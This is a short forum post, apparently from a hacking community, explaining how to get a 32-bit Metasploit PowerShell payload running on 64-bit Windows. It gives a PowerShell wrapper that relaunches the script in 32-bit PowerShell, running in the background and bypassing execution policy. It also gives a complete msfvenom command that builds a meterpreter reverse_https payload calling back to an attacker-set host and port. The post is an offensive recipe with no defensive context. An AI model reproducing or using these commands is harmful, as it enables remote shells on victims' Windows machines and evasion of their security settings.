Forum Thread: Powershell Payload Problem

Ok, let me start by apologizing. I created a How To that would have explained this and so much more but never posted it. Anyways...

There are 64 bit payloads in metasploit and are located in the usr/share/metasploit-framework/modules/payloads directory. Just look for the x64 directory located in what ever payload type you are looking for (singles, stagers, stages).

However if you want to make a 32 bit payload work on a 64 bit windows machine with powershell you simply have to add the following IF statement to the very beginning of the script.

if ($env:Processor_Architecture -ne "x86")
{

&"$env:windir\syswow64\windowspowershell\v1.0\powershell.exe" –noexit -noninteractive -noprofile -file $myinvocation.Mycommand.path -executionpolicy bypass

exit
}

This statement tells the natively called powershell (32 bit powershell on 32 bit machines and 64 bit powershell on 64 bit machines) to check the processor architecture. If it is not 32 bit then it will call the 32 bit powershell located in the syswow64 directory with the following parameters.

-noexit (tells powershell not to exit once the script is executed)
-noninteractive (opens powershell in the background)
-noprofile (bypasses any profiles that may keep the script from executing)
-file $myinvocation.Mycommand.path (tells powershell what script called it so it can continue on with the payload)
-executionpolicy bypass (bypasses any execution policies that may keep the script from executing)

So to use this in an example we can create a powershell payload with msfvenom like this

root@Kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 -f psh -o /root/Desktop/powershell_win_met_https.ps1

Command explained:
msfvenom calls the program
-p specifies the payload to use
LHOST & LPORT sets the payloads options
-f specifies the output format
-o specifies were to save the payload

Then we just open the newly created file with any text editor and add the above IF statement to the very beginning.